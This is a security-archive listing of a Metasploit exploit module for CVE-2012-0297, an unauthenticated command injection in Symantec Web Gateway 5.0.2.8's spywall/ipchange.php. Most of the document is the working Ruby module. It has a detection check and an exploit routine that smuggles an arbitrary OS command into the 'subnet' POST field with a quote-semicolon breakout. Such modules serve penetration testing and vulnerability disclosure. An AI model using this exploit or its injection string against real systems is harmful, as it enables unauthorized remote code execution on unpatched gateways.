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Symantec Web Gateway 5.0.2.8 ipchange.php Command Injection

Symantec Web Gateway 5.0.2.8 ipchange.php Command Injection
Posted Jun 11, 2012
Authored by Tenable Network Security, juan vazquez | Site metasploit.com

This Metasploit module exploits a command injection vulnerability found in Symantec Web Gateway's HTTP service due to the insecure usage of the exec() function. This Metasploit module abuses the spywall/ipchange.php file to execute arbitrary OS commands without authentication.

tags | exploit, web, arbitrary, php
advisories | CVE-2012-0297
MD5 | 8ce5defd93f1d99d9d00f93ecad020aa

Symantec Web Gateway 5.0.2.8 ipchange.php Command Injection

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##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info={})
super(update_info(info,
'Name' => "Symantec Web Gateway 5.0.2.8 ipchange.php Command Injection",
'Description' => %q{
This module exploits a command injection vulnerability found in Symantec Web
Gateway's HTTP service due to the insecure usage of the exec() function. This module
abuses the spywall/ipchange.php file to execute arbitrary OS commands without
authentication.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Tenable Network Security', # Vulnerability Discovery
'juan vazquez' # Metasploit module
],
'References' =>
[
[ 'CVE', '2012-0297' ],
[ 'BID', '53444' ],
[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-12-090' ],
[ 'URL', 'http://www.symantec.com/security_response/securityupdates/detail.jsp?fid=security_advisory&pvid=security_advisory&year=2012&suid=20120517_00' ]
],
'Payload' =>
{
'BadChars' => "\x00\x0d\x0a\x26",
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic perl',
}
},
'Platform' => ['unix'],
'Arch' => ARCH_CMD,
'Targets' =>
[
['Symantec Web Gateway 5.0.2.8', {}],
],
'Privileged' => false,
'DisclosureDate' => "May 17 2012",
'DefaultTarget' => 0))
end


def check
res = send_request_raw({
'method' => 'GET',
'uri' => '/spywall/login.php'
})

if res and res.body =~ /\<title\>Symantec Web Gateway\<\/title\>/
return Exploit::CheckCode::Detected
else
return Exploit::CheckCode::Safe
end
end

def exploit
uri = target_uri.path
uri << '/' if uri[-1,1] != '/'

peer = "#{rhost}:#{rport}"

post_data = "subnet="
post_data << "\";" + payload.raw + ";#"

print_status("#{peer} - Sending Command injection")
res = send_request_cgi({
'method' => 'POST',
'uri' => "#{uri}spywall/ipchange.php",
'data' => post_data
})

# If the server doesn't return the default redirection, probably
# something is wrong
if not res or res.code != 302 or res.headers['Location'] !~ /SW\/admin_config.php/
print_error("#{peer} - Probably command not executed, aborting!")
return
end

end


end

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